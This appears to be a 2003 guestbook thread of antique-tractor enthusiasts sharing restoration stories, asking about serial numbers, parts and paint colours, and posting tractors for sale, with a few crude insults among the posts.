landon a laub wrote on Friday, May 23, 2003 (PDT):I have a 1955 TO-35 that my father bought new. It has 3,200 and some odd original hours on it. He also bought the 3-bottom plow and the cultivators. The cultivators came with the T0-20 that I have that he also bought new. I even have the original wheel weights for the TO-35. He used it as his main tractor back then to farm 92 acres. The TO-20 is siezed up and has been outside most all of it's life. The TO-35 is still working but right now I need a radiator and the generator rebuilt. I also have the manure loader. They sure are and were great tractors. I am 51 years old now and my TO-20 was the first vehicle my dad taught me to drive(steer)while he and my uncle picked up hay bales to load to wagon in the hayfields...... Just thought I'd share a bit of my early life with you others Ferguson lovers.
Ward Hollingsworth wrote on Wednesday, May 21, 2003 (PDT):I have just finished partially restoring a 1951 44 standard. The paint color I used if anyone is interested was Rustoleum Fire Hydrant Red, and Pittsburg Chrome Yellow, Both paint colors are so close to the original color it's amazing. Also I pull it in my local classic tractor club. It has won me several ribbons,Man what a kick in the tail!!!
Jonathan Emmert wrote on Wednesday, May 21, 2003 (PDT):Me and my dad have a Super 99 GM Diesel. It is not restored and some day we are planning on restoring it when we get the money and let me tell it is LOUD and it is POWERFUL and it is an awesome tractor
Marilyn Torgrimson wrote on Wednesday, May 21, 2003 (PDT):I have a MH 81 tractor that I would like to have restored. Is there anyone in Northern Minnesota that would be able to do this? Also I am not sure what year that it was made. The serial number is 6333A. Can anyone tell me the year. I feel that it is probably a '46.
ross wrote on Tuesday, May 20, 2003 (PDT):I have a international 300 utility tractor and the starter does not seem to work any more,and when i did start it it only seemed to fire on two cylenders. does anyone have any sugestions?
Wayne Walker wrote on Tuesday, May 20, 2003 (PDT):Recently purchased a Farmall 200. I think this tractor replaced the Super C? I think they were made in '54, '55, and '56? The tractor is in excellent shape and has a three point hitch. Where can I find more info, specs, etc. on this tractor? Also, it appears some parts from the Super C are interchangeable? Can anyone help with this information? Thanks! Wayne
Terry Stover wrote on Tuesday, May 20, 2003 (PDT):17 Years ago I purchased an old tractor cheap, as the add said. But only recently did I realize it is a Cockshutt 540. I have used it on my small horse farm the past 17 years, and am now interested in restoring it. Is there a place that I can see photos of a 540 of how it should look and the paint colors?
alster wrote on Tuesday, May 20, 2003 (PDT):My Grandfather bought a 1930 model brand new in 1931. My father still has the bill of sale for this tractor. It sat in a shed on my uncles farm for 25 years sinking into the dirt floor when my father decided to get it out and clean it up for the upcoming centennial parade. He had a rebuilt mag that had been sitting around for years and found some plugs that weren't in too bad of shape. We dug a hole in the front so we could crank it and crank it we did. I was 15 years old and the time and kept telling dad, "Let's just hook a chain on it and pull it out so we can work on it!" Dad said, "I backed it in here. I'm gonna drive it out!" And sure enough, after a couple of hours of cranking, it fired up and he hopped on it and drove her out into the sunlight for the first time in 25 years. Now, 34 years later, it's been sitting in a shed on the farm I grew up on and has not run for probably 15 years at least. Dad did a lot of work on it and took it to several parades during the 70s and early 80s. It WAS Massy red with gray wheels, but he repainted it the correct "tool gray" after that first centennial parade where he drove it through in all it's dilapidated glory. Wonderful tractor and dad has lots of memories about it. (not all pleasant either!)
Eric Bosley wrote on Monday, May 19, 2003 (PDT):I am in the auction business and have a Ferguson model TC 35 in an upcoming auction. Not being familiar with this tractor I was wondering what would be a reasonable price to expect for it. The serial # is 141127.
Ray O Malley wrote on Monday, May 19, 2003 (PDT):This is a shit tractor i think u should get a new 1
Dave O ' Malley wrote on Monday, May 19, 2003 (PDT):I think that this tractors is shit and u should get a new tractor
Ted Tedford wrote on Sunday, May 18, 2003 (PDT):I just got an AC 160 series with the diesel engine. I work at a scrap yard and a man sold it for $80.00. Just for kicks I hooked up a good battery and it started on first revolution. Everything seems to work except the hydraulics. Is there some trick to priming the pump on these? I suppose the pump probably needs rebuilding. Since I am new here can someone tell me where to get the pump parts? I will be replcing a '59 Ford 600 Jubilee with this one. I'm sure I'll like the AC better.
toy farming with ih red wrote on Sunday, May 18, 2003 (PDT):i have a toy farm. all my tractors are red. i have a 560, 660, 2 706's,3 806's, 3 1206's, 2 856's, 1 826, 1 1026, 2 1456's, 2 966's, 8 1066's, 10 1466's, 1 1566, 1 1086, 4 5288's, 2 2+2's, 2 stigers, 7130, 4 7140's, mx200 to 235, ertl mis print on 235, and all 14 jd do all the stuped stuff like agur, blow sileg etc. i have a cattle confinment and hog confinment. hog has logon and jd punps munuer. cattle is cement and jd feeds the cattle. i am 14 and ever one thinks i am nuts. but i don't like football or any other sports. but i like tractor pulling, working on displays, and nascar. but i love to pull tractors. i have 2 minirods 1 stock and it name is tundra toy and the other it a miniature 1066 with 750 honda and it name is overtime. so my motto is if it ani't red don't hook it to the sled and nothing kills a deere like a magnum. i live in nw ia and love ih red. my dad farms and has stock cows. we farm with ih red. we have an 806 with 18000 + hours. its motor has never has been toucht, but the rerend has been gon through. we trated are 1486 of in 1991 for a 4640 it had a cract block and was puting out 200 horses. then it blow up. 1 BIG mistake. now we have a nother 1486 but i is a newer one and a red power, and still have the 4640. my faverets are the 806,856,1066,1456,1466,1068,1486,5288,7140 and last but not lest the frist tractor that started it all for my grandpa the F-20. i also am the puller man, buty red and junk jds, ih power,overtime,806 man, and on 560 page and am 806 man. so go ih red and i my colors are ih red.
toy farming with ih red wrote on Sunday, May 18, 2003 (PDT):i have a toy farm. all my tractors are red. i have a 560, 660, 2 706's,3 806's, 3 1206's, 2 856's, 1 826, 1 1026, 2 1456's, 2 966's, 8 1066's, 10 1466's, 1 1566, 1 1086, 4 5288's, 2 2+2's, 2 stigers, 7130, 4 7140's, mx200 to 235, ertl mis print on 235, and all 14 jd do all the stuped stuff like agur, blow sileg etc. i have a cattle confinment and hog confinment. hog has logon and jd punps munuer. cattle is cement and jd feeds the cattle. i am 14 and ever one thinks i am nuts. but i don't like football or any other sports. but i like tractor pulling, working on displays, and nascar. but i love to pull tractors. i have 2 minirods 1 stock and it name is tundra toy and the other it a miniature 1066 with 750 honda and it name is overtime. so my motto is if it ani't red don't hook it to the sled and nothing kills a deere like a magnum. i live in nw ia and love ih red. my dad farms and has stock cows. we farm with ih red. we have an 806 with 18000 + hours. its motor has never has been toucht, but the rerend has been gon through. we trated are 1486 of in 1991 for a 4640 it had a cract block and was puting out 200 horses. then it blow up. 1 BIG mistake. now we have a nother 1486 but i is a newer one and a red power, and still have the 4640. my faverets are the 806,856,1066,1456,1466,1068,1486,5288,7140 and last but not lest the frist tractor that started it all for my grandpa the F-20. i also am the puller man, buty red and junk jds, ih power,overtime,806 man, and on 560 page and am 806 man. so go ih red and i my colors are ih red.
TC wrote on Sunday, May 18, 2003 (PDT):I wish it was possible to see answers to all the comments; that would be quite helpful. The serial # list does not contain mine; TO-4012-A. I would like to figure out the yr model. I would like to know whether it is difficult to find parts for these tractors. Also, if someone would post answers to the most common questions (like where to find parts & manuals) would be helpful- I need this information just like the 50 before me! Thanks!
Ron Johnson wrote on Sunday, May 18, 2003 (PDT):Just getting interested in older AC tractors. Looking to buy a B, C, CA, D15 or D17 to plow snow with and possibly restore . Let me know if you have one for sale. Tx.
Jesse Smith wrote on Saturday, May 17, 2003 (PDT):I'm 14 and I got a 1954 Case SC last December and it's my first tractor. It aint in very good shape so I need a couple of parts to restore it; good engine or block, air cleaner, exhaust manifold. I have to pay to restore it with my own money I worked for so I'd appreciate it if you could keep the price reasonable. I know when it gets done, it'll be a nice one. Any help would be appreciated. Thanks
Albert Bennett wrote on Friday, May 16, 2003 (PDT):In the '60'a M H 22and M H 44 D. They were great tractores.If I were to name a fault with the 44 D it would be with the starter.I had trouble with the bendix spring breaking.I would have to replace the whole starter.I lived within 50 miles from the bendix plant where they were made. But i could not buy them there.I'm retired in Fl. now.
charlie wyman wrote on Friday, May 16, 2003 (PDT):I have a Ford 2000 4-cyl., 5-speed, mid 1950s I think. It sat outside (tarped) all winter, and two weeks ago I started it up and when I depressed the clutch nothing happened. I frigged around and started it in gear and went back and forth in the driveway, and finally it freed. Today, (2 wks later) the clutch won't engage again. I drove up the road about a mile all the time riding the clutch and trying to pop it. Nothing freed it up. Has anyone got any suggestions on how to solve my problem? Any help will be appreciated. Thanks.... Charlie
dan ross wrote on Thursday, May 15, 2003 (PDT):i have eather a hg42 or oc3 dont know one has sn 15ga230 on the frame that is broke had no water pump but put one on it also have another machine no sn on it also have 4 motors two ixk-3 3 1/8 x 4 sn 2409862 1265264 also ixa-3 3x4 sn 675737 and one with no plate only one runs but blows oil out muffler pipe and fouls plugs one moter compleat but block broken had bad rod or crank not sure also have 125 allis chalmers power unit but cylinder rusted and will not turn over vavels rusted to live in ithaca ny
Bill Riggs wrote on Wednesday, May 14, 2003 (PDT):I have a 1967 Allis Series ll That i am restoring. This is a mint tractor.Recently installed new clutch and flywheel,plus torque tube. Removed original rear wheels and installed plain disc with air. Just like new. Love it.
Kevin Rowe wrote on Wednesday, May 14, 2003 (PDT):Just starting to restore a 1937 F-20. I am needing to know what paint colors was used on the tractor and the wheels. I am also looking for two rear tires size 12.4 x 36
Louis Machado wrote on Wednesday, May 14, 2003 (PDT):I have a 8n, i'm looking for a par off tires where can i find te correct size for him, Any information would be appreciated, thanks.
Duane wrote on Tuesday, May 13, 2003 (PDT):hi there is a fine old gentleman who farms south of Sunburst Montana. he has used R s for farming his place i bet for over 50 years and he is still out there. I drove by him today he was putting in his crop with it, neither of them will give up. he gave me a hearty wave. wonderful mand no old folkds home for him or his tractor
Steve Sorensen wrote on Tuesday, May 13, 2003 (PDT):For sale, 1954 R, 23.1-26 rubber, fender extension's, brass tag, shutter's, pto and hydraulic's. Excellent all original tractor. Both motor's run good. 4750.00. 319-626-3075
Jack Nachamkin wrote on Tuesday, May 13, 2003 (PDT):Someone in New Jersey claims he has a Farmall Cub Hi-Crop tractor for sale for $4200. Was such a machine built? The machine looks exaclty like a Farmall Cub.
Herb Poettcker wrote on Monday, May 12, 2003 (PDT):Hello everyone. My dad has a Cochshutt 40 that has been in the family for decades. This tractor has baled more hay bales than I can imagine. Would like to restore but am missing left grill half. Anyone with info would been greatly appreciated. Thank-you.
Dennis wrote on Monday, May 12, 2003 (PDT):Looking for rear end (rear of transmission back) for a 1948 Farmall Cub, I'm located in central Michigan. E-mail - Bigdenisno1 at aol.com
Roger Shingleton wrote on Sunday, May 11, 2003 (PDT):Bought a Ferguson Tractor. The number on the left side of the block is; Z120A-600. Was told this was a TO-20, 1950 year modle. I ordered that book for it but the book says that this 1950 TO-20 is suspose to have a 6 volt system with a generator. Mine has a alternator and is 12 volts. Did Ferguson built a 12 volt system?(Ferguson, not Massey ferguson) Could this tractor have been changed over to a 12 volt system are is my tractor not a 1950, TO-20. Any help would be appreciated.
J. M. Wilson wrote on Thursday, May 08, 2003 (PDT):I just finished restoring a 1950 Fergerson TO 20. It belonged to my uncle who was a peanut farmer. He farmed with this tractor about 30 years. The tractor is in excelent condition, the tractor had no rust or holes. The tractor is also very strait.
Jim Lockhart wrote on Thursday, May 08, 2003 (PDT):I am in need of some info,if anyone could help it would be appreciated.Ok to start off I bought what was said to be a 1939 F 20,serial # "FA 14615" and according the this sites serial # page its a '35.But the back rims are that of a 39 according to all the pics I have seen.If you can help or need a pic of it please email me.Thanks
David Reise wrote on Thursday, May 08, 2003 (PDT):Have a Pony (with hydraulics) I've restored... have cultivators, and left and right hand plows, I need the small set of linkage that selects the drop of either the left or right hand plow. linkage is located on left and right side to rear of fender.. any leads contact me direct thanks in advance. David Reise Portsmouth Rhode Island
David Reise wrote on Thursday, May 08, 2003 (PDT):Have a Pony (with hydraulics) I've restored... have cultivators, and left and right hand plows, I need the small set of linkage that selects the drop of either the left or right hand plow. linkage is located on left and right side to rear of fender.. any leads contact me direct thanks in advance
texmm2 wrote on Thursday, May 08, 2003 (PDT):I have a tractor to restore which looks like a F-12, but not sure. Has Int'l magneto, trans/engine cpl'd w/univeral joint, a Vortox air cleaner pat'd 1922, Steel rear whls. steel narrow dual fronts, 4 cyl eng. Have pictures to send if any one can help.
Peter Entz wrote on Thursday, May 08, 2003 (PDT):Am selling my Fordson Supermajor and was simply browsing the web for info. Very interesting site. The rims are orange on my tractor. I also have a retrofitted loader on it. A very practical tractor. Peter, Manitoba, Canada
Josh Reinke wrote on Wednesday, May 07, 2003 (PDT):Neat tractor dude!I neverseen one of those before must be really rare.?
John Sitton wrote on Wednesday, May 07, 2003 (PDT):did the 500 series ever look like the 600, 800 and the 53-54 jubilee series ..I do not like the trike type but would really like to have a five hundred if in fact it was like the 600 or 800 etc. etc.
malik humayun baghoor wrote on Wednesday, May 07, 2003 (PDT):i m pakistani and in distirct khushab we all like ford tractors verumuch. plz send me pictures of ford tracrors and ur company calandres i love ford. plz send me cal.. my adds is in khushab
malik humayun baghoor wrote on Wednesday, May 07, 2003 (PDT):i m pakistani and in distirct khushab we all like ford tractors verumuch. plz send me pictures of ford tracrors and ur company calandres i love ford. plz send me cal.. my adds is in khushab
Hayshaker wrote on Tuesday, May 06, 2003 (PDT):I have acquired a MINT Mod 60 with wide front axle. TTSN is less than 4000 hrs. Still working. This tractor is in original condition. Has all Hyd. and draw bar. Excellent rubber and sheet metal.. Any interest? I just don't need it.
Mike Schmidt wrote on Saturday, May 03, 2003 (PDT):I am looking for a WD 45 wide front. Must be good running condistion 517-541-9647
Steven R. Barry wrote on Saturday, May 03, 2003 (PDT):I have A Case Tractor for sale. I think The Model is A VA. It Start's very easy but has the air filter missing off the carberator. All the metal is in very good shape. This would be an easy tractor to restore. Also it has a small antifreese leak on the motor. I have the owners manual too. Is $500 dollars too much to ask for this tractor??
Dolores Solyst wrote on Saturday, May 03, 2003 (PDT):I have a child's riding tractor made to scale. Was used as a promotional at a International Harvestor convention many years ago. I purchased it for my first grandson who is now twenty years old. At the time of purchase it was at least twenty-five years old. Has original red paint on the metal wagon attachment. The tractor has been repainted but they left the identifying INTERNATIONAL HARVESTER sign on the engine. It is peddeld and in is working condition with the steering wheel controling the front wheels. Any interested party, please contact me. We have all outgrown it!!
Annette Beerman wrote on Saturday, May 03, 2003 (PDT):Hi, I am trying to find out what the McCormick Deering 15-30 1928 version may have sold for back then. I am also trying to find out any and all information and photos that anyone may have on an 1928 International Combine and 16 ft International swather from 1928.Thank you.
Stan Turner wrote on Friday, May 02, 2003 (PDT):In my Mother in-law estate is a old twin city tractor would like to know where to find sn# on it ?
BILL wrote on Thursday, May 01, 2003 (PDT):I HAVE SOME PARTS FOR WD OR WD-45
Harry Culpepper wrote on Wednesday, April 30, 2003 (PDT):I have a Farmall "C" that I purchased a few years back. I am not sure of the model year, but I would like to restore it. Problem is, I don't know much about it. Any help and/or suggestions would be greatly appreciated.
Bob Forster wrote on Wednesday, April 30, 2003 (PDT):I am in the deep end, I bought a small piece of land to farm on when I retire. I have just bought a FERGUSON which some people tell me in R.S.A. it is called a "vaaljappie" this nick name was given for its grey colour. I understand it is a Ferguson TED. But a nothere person said it has been combined with a TED rear axel and a MF-35-VO engine. The VO I understand means petrol & power parrafin mix. I am looking for a manual, I would really like to bring this old tractor to life.
Jim wrote on Tuesday, April 29, 2003 (PDT):I am interested in either a 1655 or 1755 diesel cab tractor in real good shape.
Jim wrote on Tuesday, April 29, 2003 (PDT):I would be interested in 1655 or 1755 diesel tractor with a good cab. Tractor must be in good working condition, thanks.
Virgil j. Reinig wrote on Monday, April 28, 2003 (PDT):i have a vac-14 1953 that i have completly redone ,i put 13-6-28 rear tires on it and it handles them well since i am going to use it for show and parades or pull a float. i sent to case co. and got the line sheet and equip. sheet plus when it was built and the dealers name in Pirestone in. where it was delevered when it was new . i needed a new steering wheel and could not find one at a good price so i bought a truck steering wheel cover and it looks great . i also found a new pully for it , it has a tube type wide front axel that is adj.i would not sell for 5500. as my sons want it so i will keep it. if you need parts or a contact at the plant you can call me at 260-627-2491 leo in. this is more fun than dancing haa!
Virgil j. Reinig wrote on Monday, April 28, 2003 (PDT):i have a vac-14 1953 that i have completly redone ,i put 13-6-28 rear tires on it and it handles them well since i am going to use it for show and parades or pull a float. i sent to case co. and got the line sheet and equip. sheet plus when it was built and the dealers name in Pirestone in. where it was delevered when it was new . i needed a new steering wheel and could not find one at a good price so i bought a truck steering wheel cover and it looks great . i also found a new pully for it , it has a tube type wide front axel that is adj.i would not sell for 5500. as my sons want so i will keep it. if you need parts or a contact at the plant you can call me at 260-627-2491 leo in. this is more fun than dancig haa!
Peter wrote on Monday, April 28, 2003 (PDT):HI-my family is looking to purchase a Farmall B tractor in good condition for my Dad's 70th Birthday present. We are located in northern Wisconsin. If anyone has information-please e-mail. Thank you.
Dennis Chadwick wrote on Monday, April 28, 2003 (PDT):I have a Case SC that my dad bought in 1960 and I am still using it today.But like all things I am in need of parts could anyone help me? I go to tractor parts places and they just say that it is too old and they do not make parts any more.
larry wrote on Monday, April 28, 2003 (PDT):I have a d15 series 2 diesel..it needs engine work,head and crank to be exact..anybody know where i cud get an engine,or wood anybody like it the way it is,rest of tract not bad condition
Jack Yingling wrote on Sunday, April 27, 2003 (PDT):WHERE ARE THE IDENTIFICATION NUMBERS LOCATED,I FOUND A SET OF NUMBERS ON THE RIGHT SIDE OF THE ENGINE BLOCK, #A12CCA. BUT CANT FIND ANY THAT COME CLOSE TO MATCHING THE NUMBERS SHOWN ON THIS WEB SITE,WOULD APPRECIATE ANY HELP ON THIS SO I CAN FIND THE DATE OF MANUFACTURE.
J Horner wrote on Saturday, April 26, 2003 (PDT):I purchased a Farmall Cub today. I paid $1500.00 for it. I did not expect it to be in all that great of shape. Boy, was I surprised when he took the cover off. The tractor is in almost mint condition. It has cultivators, two plows and a har. I think thats what they call it! It even has the original owners manual. Anyway, I think I got a steal in it. It's the best $1500 I ever spent. Ive always wanted a tractor and what better one to start a collection with than a Cub.
Nancy Leemhuis wrote on Saturday, April 26, 2003 (PDT):I recently brought my childhood Farmall C home after my Father passed away at 90 years of age. He purchased it in 1950 as a "white" demo, and it was painted red before we could bring it home. I am looking for replacement or oem parts. Does anyone have any info on places to look. We are in need of a gas tank. Thank you so much.
Richard Weiner wrote on Friday, April 25, 2003 (PDT):I am looking to sell an Allis Chalmers D17. It has hydraulics already set up on it and has some kind of belly hanger for implements that I believe is hydraulicly controlled. It also comes with a box scraper. It was running very good until it stopped. I took off the head and found 1 scored cylinder insert and piston. It was not leaking any fluids before that and I would guess that it needs very few parts to get in good running condition. All the sheet metal is there and the tires are in very good shape 75% or better. I am asking $500 for everything if you are interested. It does need paint however as there is a of of oxidation and some rust. Please contact me if you are interested as I will sell it to the first taker. Richard
texaco wrote on Friday, April 25, 2003 (PDT):Big GAS HOG, I used one for seven (7) years. Used 3 gallions per hour. Very good power for its size.
Wayne Nieforth wrote on Thursday, April 24, 2003 (PDT):Does anyone have any pictures of a Pony showing the original plow and how it attaches to the Pony. Also any pictures of the proper tiller attachement would be appreciated.
Charlene Bomer wrote on Thursday, April 24, 2003 (PDT):Selling the Ranch. Have 1948 TO20 Tractor--runs but needs TLC on Paint and tires. Most parts original. Selling for $1800.00
Michael Flake wrote on Thursday, April 24, 2003 (PDT):I have my grandfather's Case SC tractor which he purchased used in 1952. It still runs great. The serial number is #5416984SC. I am not sure exactly what year it was manufactured. I think it is around a 1950 model, since it has a hydrolic lifter with a hand clutch. Is there any way to tell the exact year manufactured by the Case serial number?
Mike S. wrote on Thursday, April 24, 2003 (PDT):I have a finch four drive tractor "FOUR PULL" it is a four wheel drive tractor that was made in big rapids MI.It has a Waukesha engine. it is a vary rare tractor only 3 of them are known to still be around. One is in kalamazoo and S.A and we have the other one its a vary awsome tractor if any Q; email Me mikey_z69 at hotmail.com thank u
mike wrote on Thursday, April 24, 2003 (PDT):i have a 22 36 i have had it since i was 7 years old. its a vary good tractor one of my favorits of 20. it has a Stationary generator motor In it so it is pushing out about 50 horse i have out pulled a john deer D with it also NO JOKE.........
nate wrote on Wednesday, April 23, 2003 (PDT):I have a oliver 770 i bout it last summer think it is a good tractor for a yong fella like me but I don't know the year serial #90179 721 can someone help it is a gas job thanks and god bless
Darlene wrote on Wednesday, April 23, 2003 (PDT):looking for the year of our tractor the serial number is 143038 farmall between the years of 1930 - 1948
Paul Easterwood wrote on Tuesday, April 22, 2003 (PDT):I am restoring a 1948 Allis G and am having lots of trouble locating a place or company where I can purchase the rear tires and tubes. Can anyone help me with this info. Please
Paul Easterwood wrote on Tuesday, April 22, 2003 (PDT):I am restoring a 1948 Allis G and am having lots of trouble locating a place or company where I can purchase the rear tires and tubes. Can anyone help me with this info. Please
Jay Rodriguez wrote on Tuesday, April 22, 2003 (PDT):My husband Art has a 1937 AC "M" crawler that he is restoring. We are heading up to Oregon to pick up 2 more in the near furture. But I just purchased a 1944 AC "B" on Sunday April 20th 2003. We are charter members of the Power from the Past club in Arizona. My little tractor was fully restored by Spike Scudder in 2000. Boy can she pull.
Max Moore wrote on Monday, April 21, 2003 (PDT):I was recently given what I am told is a 1936 Farmall F-20. This tractor was purchased by Earl Stuart in Randolph Utah. He bought it new, and before he died, used to tell everyone it was the first rubber tired tractor in Rich County, and was quite proud of the fact. My wife's Dad (who used it alot) says it ran on Distillate, gas or kerosene (?) What the heck is Distillate? Anyway, I'm told the motor was rebuilt, just before being parked. It sat outside in Randolph Utah until last summer. The motor turns over, and I have the original owner's manual, in fair condition. The crank is missing. They had an old tin can over the exhaust pipe, thankfully. What kind of parts support is available for this thing? What's it worth? Is it worth restoring? Any help/advise is appreciated. Thanks, Max
806 man wrote on Sunday, April 20, 2003 (PDT):mean green should shut the hell up about jd's. pills of junk. started farming with red bought a jd blow up. if your going to became macanik you lern how to fics jd's. you doumt have to fices IH red.
mike wrote on Sunday, April 20, 2003 (PDT):grew up on a 49 h. have 2 46 h,s now.have started restoring one of them. my favorite machine.
Gary H. Martin wrote on Sunday, April 20, 2003 (PDT):Hi! I was wondering if it hard to get parts for this tractor. Where do you go to get the parts on the internet and are they hard to get because I was thinking of trading a international 300 tractor for the oliver 55.My Dad use to have one and I ready liked it. I like it better than the international 300. Thanks Gary
Tom Lendt wrote on Saturday, April 19, 2003 (PDT):I have both a 61 Lo-boy and a 74 154. The 74 came with a beautiful 3 point hitch w/2 way cyl and blade, and as I only mow with this tractor it is for sale. The 61 has a front blade, runs great and is also for sale. If anyone is interested please email for pics/details, located Des Moines, IA
Dave Schrader wrote on Saturday, April 19, 2003 (PDT):I grew up with IH tractors. At 1 time Dad owned a Super "M" 2 "M" 's and an "H". I ended up with the Super M when Dad retired and then bought a 806 Diesel (what a tractor that was). I have sense quit farming myself and sold both tractors. I used to tell my neighbors who had other makes of tractors. "If it ain't RED leave it in the shed!"
William C. Armstrong wrote on Friday, April 18, 2003 (PDT): I am the proud owner of a beautiful 1962 cub low-boy that has a new yellow paint job that I am hoping to display on this websit very soon. It also includes a belly mower. The tracter is still being used today to cut my 9.5 acers.
Leo mc dermott wrote on Friday, April 18, 2003 (PDT): Does anyone have a good web site for tractor pulling results for wd's and wd45's
bill wrote on Wednesday, April 16, 2003 (PDT):I am restoring a W4 and would like to find photos of advertisements from when it was introduced. I have such a photo archive from the introduction of the cub tractor. Any ideas are appreciated.
jackie wrote on Tuesday, April 15, 2003 (PDT):I have a 1955 lo boy that is for sale in excellent condition. It has a blade and wheel wieghts and runs extremely well. If anyone interested please email Jagalluzzo at yahoo.com. Thanks
Colin Kinch wrote on Monday, April 14, 2003 (PDT):I have a 1935 John Deere D my Grandfather gave me. It has been sitting in the bush for years. It has rear steel wheels and rubber on the front. Is this original or was there steel on the front as well? Any information on this type of tractor that I am restoring would be greatly appreciated!
Rockie Brown wrote on Monday, April 14, 2003 (PDT):I need help on a 3 point hitch problem. I bought a MH that I believe is a 33. It has a 3 point hitch that actually has the top link below the PTO (I stated incorrectly in another message that the top link was above the PTO which is normal). How can this operate anything and not interfere with the operation of the shaft?
Rockie Brown wrote on Monday, April 14, 2003 (PDT):I need help on a 3 point hitch problem. I bought a MH that I believe is a 33. It has a 3 point hitch that actually has the top link above the PTO. How can this operate anything and not interfere with the operation of the shaft?
Chris Higgason wrote on Monday, April 14, 2003 (PDT):well ive had a add for afew more tractors if anyone wants to sell me a 541 offset, 501, 2000, 1710 all offset tractors i would like to buy one for my dad for fathers day please email me with any information.
Charles Clark wrote on Monday, April 14, 2003 (PDT):Back in 1961 or 1962 I tried out a new D-14 with 3-14s and it did quite well. So well that in alfalfa sod it just picked the front end off the ground and kept going having to be steered with the brakes. That was in some pretty heavy ground. I could never get together on a price with that dealer, but in 1963 I bought a new D-15 ser II and what a tractor,we wore it out by working it to do work should have been with a lot larger tractor. After the ring and pinion went for the third time we bought a D 19 Diesel. Many years later a D-14 has become part of our family. Itis for sale now that we realy don't have a lot for it to do. My phone # is 989-842-5279 We live in the middle of Michigan. Charles Clark
josh Russell wrote on Monday, April 14, 2003 (PDT):you can't use my name, you asshole, boner-face
Mike, S wrote on Monday, April 14, 2003 (PDT):i have a 22-36 that has a generation plant motor in it. an old fella i brought it from put it in its a still a strong runner. vary good tractor
Kirk Lytle wrote on Sunday, April 13, 2003 (PDT):I have a Massey-Harris Pony #850 095 MP model PGA 7755A that I bought from original owner's son. I bought to restore for fairs but have not done so and 2 years have past if interested in buying this tractor which is in good condition - please e-mail me.
Gary-Mississippi wrote on Saturday, April 12, 2003 (PDT):My dad bought a new F-14 in September, 1939. He passed away in 1977.My Brother still has this tractor at Laredo, Mo This tractor was quite unique. It had a "road gear" lst gear was the same speed as 2nd in the tractors without road gear. It had dual wheels on the rear, something like 4X44 inches. Some asked about the shift pattern. It was the same as an auotmobile floor shift 3 speed, laid on its side. My mother would be 94 now and I recall her telling someone that 50 or so years ago when they were going to drive the '14 while we hauling in hay. Loved that tractor!!! Daddy built a cab for it for gathering corn while we still in Nebraska before heat housers came out. We bought a farm in missourin 46.
Chris Higgason wrote on Saturday, April 12, 2003 (PDT):i am looking to buy a 541 offset ford tractor for my dad if anone has one for sale email me.. thanks!!!!
Artie Siegel wrote on Friday, April 11, 2003 (PDT):I have 1944 or 1945 three wheel Silver King with Continental engine # f162-36846 can I cross reference this # with the tractor serial #, also does anyone restore the steering wheels. Engine is original, never replaced, thank you for any info.
james code wrote on Thursday, April 10, 2003 (PDT):I have a 1917 10-20 Titan tractor and I would like to know what the original paint color is if you ahve any information on this email me Thanks -James C. Code
Wayne Waggy wrote on Wednesday, April 09, 2003 (PDT):I have what i belive to be a B.F.Avery A ,but not sure the ser# R3483. can anyone give the year and make ? It is more of a parts tractor ,but with alot of work it could be restord . would like to sell or trade .waggy85 at hotmail.com
Trevor Skinner wrote on Wednesday, April 09, 2003 (PDT):Basic diff hg42 versus oc3 slightly larger boreIxb-3 motor 1/8" larger. hg42is thermo syphon I have HG42 #46GA110, 1949. very nice tactor,but will overheat if pushed. mainly cosmetic diffs since 1939-1954.
James C Russell wrote on Monday, April 07, 2003 (PDT):Recently bought a CO-OP E3 don/t know anything about it but it seem to run pretty good. Ithas live power & two speed. I would to find a picture of one to see how they were painted also the correct color and the decals. If Keith A McClure wood email me wood be appreciated also need a owner/s manuel. It is sopposed to be a late forty. email at jamar at usachoice.net.
Vivian Barnhill wrote on Monday, April 07, 2003 (PDT):I recently got a divorced and received a 1957 Massey Harris tractor! It is in good condition and will run, we just cant seem to keep it running! I need to sell it but I don't have an amount that it is valued at, please could someone give me some figures. The body has been restored and some engine restoration.
brandon langford wrote on Sunday, April 06, 2003 (PDT):I need a good set of used or new fenders for a wd45 i also need a good grill for wd45.
John Graff wrote on Sunday, April 06, 2003 (PDT):looking for a hydrolic pump for a 350 utility set up for farming,(no loader or Backhoe)any help would be great.
Tim Olding wrote on Saturday, April 05, 2003 (PST):I think that I have a Farmall Regular. The exhaust manifold does not go through the hood, but is directed downward. The steering gears in the front are open, and it has cables that run down the frame that connect to the brakes? I think that it had steel wheels that were cut down and welded to rims with rubber. How does one find out weather the tractor is a Reg, F12, F14, or F20. An earlier post said the open steering box is a dead givaway. Are their any letters in the serial number that will verify the type of tractor?
Bob Sorrels wrote on Friday, April 04, 2003 (PST):I own a Gold 871 that caught fire last year. Up until then ithad been a very reliable tractor, mostly used for gathering fire wood in steep terain. I am looking for a gas tank as mine expanded because of the fire and no longer fits under the hood.
Bob Scherzer wrote on Thursday, April 03, 2003 (PST):Sorry for my above posting requesting help on an overdrive trans for my F12 on this F14 forum but it must have worked. Got a contact on one located less than a 100 miles from me so I drove over today and bought tractor and all. It has a Heisler overdrive so I will be spared the trouble of trying to make one. So thanks guys for the help. Bob
Bob Scherzer wrote on Wednesday, April 02, 2003 (PST): I have 3 F12's, one is my father's that he traded his team for with the IH dealer for back in 36. The other two I bought for parts tractors but one is on rubber an in better condition than dad's so I have started to restore both. I own and operate a small foundry and machine shop and would like to reproduce an overdrive for the one F12 on rubber if I could get some idea as to the design used. I have yet to see one of these overdrive units so I would like to ask for help in the way of picures or drawings of their design. I can cast the case and cut the gears but need help on gear size and pitch and general set up. Thanks, Bob
Travis Hoffine wrote on Wednesday, April 02, 2003 (PST):I have farmed with red and green equipment and I like them both about the same. We have gone to pretty much all green now with all the buyouts with IH.We have a 966 with a turbo that runs 148 hp at 3/4 throttle but our main tractors are green cause thats about the only dealer around.We have a 4430 and 7810 and a 9500 combine and it is all good equipment.
Elie Esparza wrote on Tuesday, April 01, 2003 (PST):I just bought an A/C D-17 serial number 221826 and can't find the exact year when it was made? It also came with Rear Loop Rims which I am trying to find a way on how to adjust the spacing on those. Can anybody help? Thanks. Elie spacing on the
Ron wrote on Monday, March 31, 2003 (PST):Just purchased an oliver 770 has power shift back wheels it is a 1962.answer to wt. of a 770 is 5565lb.
